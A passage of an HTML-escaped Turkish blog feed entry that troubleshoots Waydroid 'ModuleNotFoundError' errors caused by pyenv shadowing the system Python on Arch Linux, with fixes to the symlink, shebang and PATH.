&lt;span class="w"&gt;  &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/usr/lib/waydroid/tools/interfaces/IPlatform.py"&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;line&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;module&amp;gt;
&lt;span class="w"&gt;    &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;gbinder
ModuleNotFoundError:&lt;span class="w"&gt; &lt;/span&gt;No&lt;span class="w"&gt; &lt;/span&gt;module&lt;span class="w"&gt; &lt;/span&gt;named&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'gbinder'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="hata-2-modulenotfounderror-no-module-named-tools"&gt;Hata 2: &lt;code&gt;ModuleNotFoundError: No module named 'tools'&lt;/code&gt;&lt;a class="headerlink" href="#hata-2-modulenotfounderror-no-module-named-tools" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;lk hatay&amp;inodot; &amp;ccedil;&amp;ouml;zd&amp;uuml;kten sonra, bazen ikinci bir hata kar&amp;scedil;&amp;inodot;na &amp;ccedil;&amp;inodot;kar:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
Traceback&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;most&lt;span class="w"&gt; &lt;/span&gt;recent&lt;span class="w"&gt; &lt;/span&gt;call&lt;span class="w"&gt; &lt;/span&gt;last&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;span class="w"&gt;  &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/waydroid"&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;line&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;module&amp;gt;
&lt;span class="w"&gt;    &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;tools
ModuleNotFoundError:&lt;span class="w"&gt; &lt;/span&gt;No&lt;span class="w"&gt; &lt;/span&gt;module&lt;span class="w"&gt; &lt;/span&gt;named&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'tools'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu iki hata, sistemdeki Python yorumlay&amp;inodot;c&amp;inodot;s&amp;inodot; ve Waydroid&amp;rsquo;in &amp;ccedil;al&amp;inodot;&amp;scedil;ma ortam&amp;inodot; aras&amp;inodot;ndaki uyumsuzluktan kaynaklan&amp;inodot;r.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="sorunun-kok-nedeni_1"&gt;Sorunun K&amp;ouml;k Nedeni&lt;a class="headerlink" href="#sorunun-kok-nedeni" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu hatalar&amp;inodot;n temel nedenleri &amp;scedil;unlard&amp;inodot;r:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pyenv PATH &amp;ouml;nceli&amp;gbreve;i:&lt;/strong&gt;
&lt;code&gt;/usr/bin/python3&lt;/code&gt; symlink&amp;rsquo;i, pyenv&amp;rsquo;in kendi Python s&amp;uuml;r&amp;uuml;m&amp;uuml;ne y&amp;ouml;nlenmi&amp;scedil; olabilir.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Yanl&amp;inodot;&amp;scedil; Shebang:&lt;/strong&gt;
   Waydroid script&amp;rsquo;i &lt;code&gt;#!/usr/bin/env python3&lt;/code&gt; sat&amp;inodot;r&amp;inodot;n&amp;inodot; kullan&amp;inodot;r.
   Bu sat&amp;inodot;r, PATH&amp;rsquo;teki ilk Python yorumlay&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot; &amp;ccedil;a&amp;gbreve;&amp;inodot;r&amp;inodot;r &amp;mdash; bu da genellikle pyenv s&amp;uuml;r&amp;uuml;m&amp;uuml;d&amp;uuml;r.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Eksik mod&amp;uuml;l yolu:&lt;/strong&gt;
   Waydroid&amp;rsquo;in kendi mod&amp;uuml;l dizini (&lt;code&gt;/usr/lib/waydroid&lt;/code&gt;) Python path&amp;rsquo;ine dahil de&amp;gbreve;ildir.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Bu hatalar genellikle pyenv ile sistem Python'unun &amp;ccedil;ak&amp;inodot;&amp;scedil;mas&amp;inodot;ndan kaynaklan&amp;inodot;r ⚡&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-adm-cozum"&gt;Ad&amp;inodot;m Ad&amp;inodot;m &amp;Ccedil;&amp;ouml;z&amp;uuml;m&lt;a class="headerlink" href="#adm-adm-cozum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="1-hangi-pythonun-kullanldgn-kontrol-et"&gt;1. Hangi Python&amp;rsquo;un Kullan&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; Kontrol Et&lt;a class="headerlink" href="#1-hangi-pythonun-kullanldgn-kontrol-et" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Ouml;ncelikle sistemde hangi Python yorumlay&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot;n &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; kontrol edelim:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;which&lt;span class="w"&gt; &lt;/span&gt;python3
&lt;span class="c1"&gt;# &amp;Ouml;rnek &amp;ccedil;&amp;inodot;kt&amp;inodot;: /home/kullanici/.pyenv/shims/python3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sistem Python&amp;rsquo;unun nerede oldu&amp;gbreve;unu g&amp;ouml;rmek i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-la&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/python3*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Burada ger&amp;ccedil;ek sistem Python&amp;rsquo;unu (&amp;ouml;rne&amp;gbreve;in &lt;code&gt;python3.13&lt;/code&gt;) g&amp;ouml;receksin.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Pyenv, PATH s&amp;inodot;ras&amp;inodot;n&amp;inodot; de&amp;gbreve;i&amp;scedil;tirerek sistem Python&amp;rsquo;unu g&amp;ouml;lgeler. Bu y&amp;uuml;zden do&amp;gbreve;ru yorumlay&amp;inodot;c&amp;inodot;y&amp;inodot; tespit etmek &amp;ccedil;ok &amp;ouml;nemlidir 💡&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="2-gerekli-paketleri-kontrol-et"&gt;2. Gerekli Paketleri Kontrol Et&lt;a class="headerlink" href="#2-gerekli-paketleri-kontrol-et" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Waydroid i&amp;ccedil;in gereken Python mod&amp;uuml;llerinin y&amp;uuml;kl&amp;uuml; oldu&amp;gbreve;undan emin ol:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Qs&lt;span class="w"&gt; &lt;/span&gt;gbinder
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A&amp;scedil;a&amp;gbreve;&amp;inodot;daki paketlerin kurulu olmas&amp;inodot; gerekir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;libgbinder&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python-gbinder&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Eksikse &amp;scedil;u komutla kurabilirsin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;libgbinder&lt;span class="w"&gt; &lt;/span&gt;python-gbinder
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="3-python-symlinkini-duzelt"&gt;3. Python Symlink&amp;rsquo;ini D&amp;uuml;zelt&lt;a class="headerlink" href="#3-python-symlinkini-duzelt" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;E&amp;gbreve;er &lt;code&gt;/usr/bin/python3&lt;/code&gt; yanl&amp;inodot;&amp;scedil; bir s&amp;uuml;r&amp;uuml;me i&amp;scedil;aret ediyorsa, do&amp;gbreve;ru s&amp;uuml;r&amp;uuml;me y&amp;ouml;nlendirmelisin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/python3
sudo&lt;span class="w"&gt; &lt;/span&gt;ln&lt;span class="w"&gt; &lt;/span&gt;-sf&lt;span class="w"&gt; &lt;/span&gt;python3.13&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/python3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Bu i&amp;scedil;lem sistem genelini etkiler ⚠️ Yanl&amp;inodot;&amp;scedil; Python s&amp;uuml;r&amp;uuml;m&amp;uuml;ne ba&amp;gbreve;lamak di&amp;gbreve;er uygulamalarda hataya yol a&amp;ccedil;abilir.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Do&amp;gbreve;rulamak i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/usr/bin/python3&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"import gbinder; print('&amp;checkmark; gbinder &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="4-waydroid-scriptini-duzenle"&gt;4. Waydroid Script&amp;rsquo;ini D&amp;uuml;zenle&lt;a class="headerlink" href="#4-waydroid-scriptini-duzenle" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Waydroid&amp;rsquo;in script dosyas&amp;inodot;n&amp;inodot; a&amp;ccedil;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/waydroid
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dosyay&amp;inodot; a&amp;scedil;a&amp;gbreve;&amp;inodot;daki gibi d&amp;uuml;zenle:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;span class="c1"&gt;# SPDX-License-Identifier: GPL-3.0-or-later&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;

&lt;span class="c1"&gt;# Add waydroid library path&lt;/span&gt;
&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/usr/lib/waydroid"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;tools&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"__main__"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;umask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;0o0022&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Buradaki iki de&amp;gbreve;i&amp;scedil;iklik &amp;ccedil;ok kritik 💡 1️⃣ Shebang sat&amp;inodot;r&amp;inodot; &lt;code&gt;/usr/bin/python3&lt;/code&gt; olarak d&amp;uuml;zeltildi. 2️⃣ &lt;code&gt;/usr/lib/waydroid&lt;/code&gt; yolu Python path&amp;rsquo;ine eklendi.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="5-waydroidi-test-et"&gt;5. Waydroid&amp;rsquo;i Test Et&lt;a class="headerlink" href="#5-waydroidi-test-et" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;D&amp;uuml;zenlemelerden sonra Waydroid&amp;rsquo;in &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; kontrol et:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Ouml;rnek &amp;ccedil;&amp;inodot;kt&amp;inodot;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;STOPPED&lt;/span&gt;
&lt;span class="n"&gt;Vendor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MAINLINE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Her &amp;scedil;ey yolundaysa art&amp;inodot;k hatalardan kurtuldun 🎉&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="weston-ortamnda-waydroid-kullanm_1"&gt;Weston Ortam&amp;inodot;nda Waydroid Kullan&amp;inodot;m&amp;inodot;&lt;a class="headerlink" href="#weston-ortamnda-waydroid-kullanm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Weston masa&amp;uuml;st&amp;uuml;nde Waydroid&amp;rsquo;i ba&amp;scedil;latmak i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
waydroid&lt;span class="w"&gt; &lt;/span&gt;show-full-ui
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ya da k&amp;inodot;sayol olarak:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;first-launch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="uygulama-baslatma"&gt;Uygulama Ba&amp;scedil;latma&lt;a class="headerlink" href="#uygulama-baslatma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;list
waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;launch&lt;span class="w"&gt; &lt;/span&gt;com.android.settings
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="waydroidi-durdurma"&gt;Waydroid&amp;rsquo;i Durdurma&lt;a class="headerlink" href="#waydroidi-durdurma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;stop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Waydroid&amp;rsquo;i kapatmadan &amp;ouml;nce oturumu d&amp;uuml;zg&amp;uuml;n sonland&amp;inodot;rmak, sistem kaynaklar&amp;inodot;n&amp;inodot;n serbest kalmas&amp;inodot;n&amp;inodot; sa&amp;gbreve;lar ⚙️&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="alternatif-yontem-path-uzerinden-cozum_1"&gt;Alternatif Y&amp;ouml;ntem: PATH &amp;Uuml;zerinden &amp;Ccedil;&amp;ouml;z&amp;uuml;m&lt;a class="headerlink" href="#alternatif-yontem-path-uzerinden-cozum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er symlink de&amp;gbreve;i&amp;scedil;tirmek istemiyorsan, pyenv&amp;rsquo;i ge&amp;ccedil;ici olarak devre d&amp;inodot;&amp;scedil;&amp;inodot; b&amp;inodot;rakabilirsin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;env&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/usr/local/sbin:/usr/local/bin:/usr/bin"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Bu y&amp;ouml;ntemle pyenv ge&amp;ccedil;ici olarak devre d&amp;inodot;&amp;scedil;&amp;inodot; kal&amp;inodot;r ve sistem Python&amp;rsquo;u kullan&amp;inodot;l&amp;inodot;r 💡&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="ek-sorun-giderme"&gt;Ek Sorun Giderme&lt;a class="headerlink" href="#ek-sorun-giderme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="gbinder-hala-bulunamyor"&gt;gbinder h&amp;acirc;l&amp;acirc; bulunam&amp;inodot;yor&lt;a class="headerlink" href="#gbinder-hala-bulunamyor" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Ql&lt;span class="w"&gt; &lt;/span&gt;python-gbinder&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"\.so&lt;/span&gt;$&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er &amp;ccedil;&amp;inodot;kt&amp;inodot; bo&amp;scedil;sa, mod&amp;uuml;l do&amp;gbreve;ru dizinde kurulmam&amp;inodot;&amp;scedil; olabilir. Yeniden y&amp;uuml;klemeyi dene.&lt;/p&gt;
&lt;h3 id="pyenv-caksmasn-kalc-cozme"&gt;Pyenv &amp;Ccedil;ak&amp;inodot;&amp;scedil;mas&amp;inodot;n&amp;inodot; Kal&amp;inodot;c&amp;inodot; &amp;Ccedil;&amp;ouml;zme&lt;a class="headerlink" href="#pyenv-caksmasn-kalc-cozme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'alias waydroid="env PATH=\"/usr/local/sbin:/usr/local/bin:/usr/bin\" waydroid"'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;~/.bashrc
&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;~/.bashrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Bu alias sayesinde Waydroid her zaman sistem Python&amp;rsquo;unu kullan&amp;inodot;r 💪&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="sonuc_1"&gt;Sonu&amp;ccedil;&lt;a class="headerlink" href="#sonuc" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu rehberde Weston masa&amp;uuml;st&amp;uuml; ortam&amp;inodot;nda Waydroid kurarken kar&amp;scedil;&amp;inodot;la&amp;scedil;&amp;inodot;lan
&lt;strong&gt;ModuleNotFoundError: No module named 'gbinder' / 'tools'&lt;/strong&gt; hatalar&amp;inodot;n&amp;inodot;n nedenlerini ve &amp;ccedil;&amp;ouml;z&amp;uuml;mlerini inceledik.&lt;/p&gt;
&lt;p&gt;Sorunu &amp;ccedil;&amp;ouml;zmek i&amp;ccedil;in:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Do&amp;gbreve;ru Python yorumlay&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot; belirledik&lt;/li&gt;
&lt;li&gt;Waydroid script&amp;rsquo;ini d&amp;uuml;zenledik&lt;/li&gt;
&lt;li&gt;PATH manip&amp;uuml;lasyonu ile alternatif &amp;ccedil;&amp;ouml;z&amp;uuml;m sunduk&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bu ad&amp;inodot;mlar&amp;inodot;n ard&amp;inodot;ndan Waydroid&amp;rsquo;i sorunsuz &amp;scedil;ekilde &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilirsin 🚀
Linux &amp;uuml;zerinde Android deneyimin keyfini &amp;ccedil;&amp;inodot;kar! 🎯&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="kaynaklar"&gt;Kaynaklar&lt;a class="headerlink" href="#kaynaklar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.waydro.id/" rel="noopener noreferrer" target="_blank"&gt;Waydroid Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.archlinux.org/title/Waydroid" rel="noopener noreferrer" target="_blank"&gt;Arch Linux Wiki - Waydroid&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.python.org/3/library/exceptions.html#ModuleNotFoundError" rel="noopener noreferrer" target="_blank"&gt;Python Docs - ModuleNotFoundError&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"&gt;&lt;/script&gt;
&lt;p&gt;&lt;lite-youtube use-nocookie="" videoid="HVQBmWN5ZaU"&gt;&lt;/lite-youtube&gt;&lt;/p&gt;</content><category term="Linux"/><category term="linux"/><category term="waydroid"/><category term="python"/><category term="pyenv"/><category term="arch-linux"/><category term="troubleshooting"/></entry></feed>